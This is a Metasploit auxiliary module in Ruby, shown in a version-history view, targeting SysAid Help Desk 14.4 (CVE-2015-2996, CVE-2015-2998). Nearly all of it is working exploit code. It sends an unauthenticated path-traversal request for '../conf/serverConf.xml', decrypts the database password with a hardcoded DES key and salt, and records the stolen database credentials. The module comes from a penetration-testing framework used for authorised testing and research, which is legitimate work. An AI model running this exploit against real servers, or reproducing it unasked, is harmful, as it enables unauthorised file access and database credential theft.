metasploit-framework/modules/auxiliary/admin/http/sysaid_sql_creds.rb

150 lines
5.1 KiB
Ruby
Raw Normal View History

2015-06-03 20:46:48 +00:00
##
2017-07-24 13:26:21 +00:00
# This module requires Metasploit: https://metasploit.com/download
2015-06-03 20:46:48 +00:00
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'openssl'
2016-03-08 13:02:44 +00:00
class MetasploitModule < Msf::Auxiliary
2015-06-03 20:46:48 +00:00
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
2015-07-17 17:34:46 +00:00
'Name' => 'SysAid Help Desk Database Credentials Disclosure',
2015-06-03 20:46:48 +00:00
'Description' => %q{
2015-07-17 17:34:46 +00:00
This module exploits a vulnerability in SysAid Help Desk that allows an unauthenticated
user to download arbitrary files from the system. This is used to download the server
configuration file that contains the database username and password, which is encrypted
with a fixed, known key. This module has been tested with SysAid 14.4 on Windows and Linux.
2015-06-03 20:46:48 +00:00
},
'Author' =>
[
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
],
'License' => MSF_LICENSE,
'References' =>
[
2015-07-17 17:34:46 +00:00
['CVE', '2015-2996'],
['CVE', '2015-2998'],
2015-10-28 15:45:02 +00:00
['URL', 'http://seclists.org/fulldisclosure/2015/Jun/8'],
['URL', 'https://github.com/pedrib/PoC/blob/master/advisories/sysaid-14.4-multiple-vulns.txt']
2015-06-03 20:46:48 +00:00
],
'DisclosureDate' => 'Jun 3 2015'))
register_options(
[
OptPort.new('RPORT', [true, 'The target port', 8080]),
2015-07-17 17:34:46 +00:00
OptString.new('TARGETURI', [ true, 'SysAid path', '/sysaid']),
])
2015-06-03 20:46:48 +00:00
end
def decrypt_password (ciphertext)
salt = [-87, -101, -56, 50, 86, 53, -29, 3].pack('c*')
2017-01-17 20:44:45 +00:00
cipher = OpenSSL::Cipher.new("DES")
2015-06-03 20:46:48 +00:00
base_64_code = Rex::Text.decode_base64(ciphertext)
cipher.decrypt
cipher.pkcs5_keyivgen 'inigomontoya', salt, 19
plaintext = cipher.update base_64_code
plaintext << cipher.final
plaintext
end
def run
begin
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(datastore['TARGETURI'], 'getGfiUpgradeFile'),
'vars_get' => {
'fileName' => '../conf/serverConf.xml'
},
})
rescue Rex::ConnectionRefused
2015-07-17 17:34:46 +00:00
fail_with(Failure::Unreachable, "#{peer} - Could not connect.")
2015-06-03 20:46:48 +00:00
end
if res && res.code == 200 && res.body.to_s.bytesize != 0
username = /\<dbUser\>(.*)\<\/dbUser\>/.match(res.body.to_s)
encrypted_password = /\<dbPassword\>(.*)\<\/dbPassword\>/.match(res.body.to_s)
database_url = /\<dbUrl\>(.*)\<\/dbUrl\>/.match(res.body.to_s)
database_type = /\<dbType\>(.*)\<\/dbType\>/.match(res.body.to_s)
2015-07-17 17:34:46 +00:00
unless username && encrypted_password && database_type && database_url
fail_with(Failure::Unknown, "#{peer} - Failed to obtain database credentials.")
end
username = username.captures[0]
encrypted_password = encrypted_password.captures[0]
database_url = database_url.captures[0]
database_type = database_type.captures[0]
password = decrypt_password(encrypted_password[6..encrypted_password.length])
credential_core = report_credential_core({
password: password,
username: username
})
matches = /(\w*):(\w*):\/\/(.*)\/(\w*)/.match(database_url)
if matches
begin
if database_url['localhost'] == 'localhost'
db_address = matches.captures[2]
db_port = db_address[(db_address.index(':') + 1)..(db_address.length - 1)].to_i
db_address = rhost
else
db_address = matches.captures[2]
if db_address.index(':')
db_address = db_address[0, db_address.index(':')]
db_port = db_address[db_address.index(':')..(db_address.length - 1)].to_i
2015-06-03 20:46:48 +00:00
else
2015-07-17 17:34:46 +00:00
db_port = 0
2015-06-03 20:46:48 +00:00
end
2015-07-17 17:34:46 +00:00
db_address = Rex::Socket.getaddress(db_address, true)
2015-06-03 20:46:48 +00:00
end
2015-07-17 17:34:46 +00:00
database_login_data = {
address: db_address,
service_name: database_type,
protocol: 'tcp',
port: db_port,
workspace_id: myworkspace_id,
core: credential_core,
status: Metasploit::Model::Login::Status::UNTRIED
}
create_credential_login(database_login_data)
# Skip creating the Login, but tell the user about it if we cannot resolve the DB Server Hostname
rescue SocketError
fail_with(Failure::Unknown, 'Could not resolve database server hostname.')
2015-06-03 20:46:48 +00:00
end
2015-07-17 17:34:46 +00:00
2017-07-19 10:39:15 +00:00
print_good("Stored SQL credentials #{username}:#{password} for #{matches.captures[2]}")
2015-07-17 17:34:46 +00:00
return
2015-06-03 20:46:48 +00:00
end
else
2015-07-17 17:34:46 +00:00
fail_with(Failure::NotVulnerable, "#{peer} - Failed to obtain database credentials, response was: #{res.code}")
2015-06-03 20:46:48 +00:00
end
end
def report_credential_core(cred_opts={})
origin_service_data = {
address: rhost,
port: rport,
service_name: (ssl ? 'https' : 'http'),
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: self.fullname,
private_type: :password,
private_data: cred_opts[:password],
username: cred_opts[:username]
}
credential_data.merge!(origin_service_data)
create_credential(credential_data)
end
end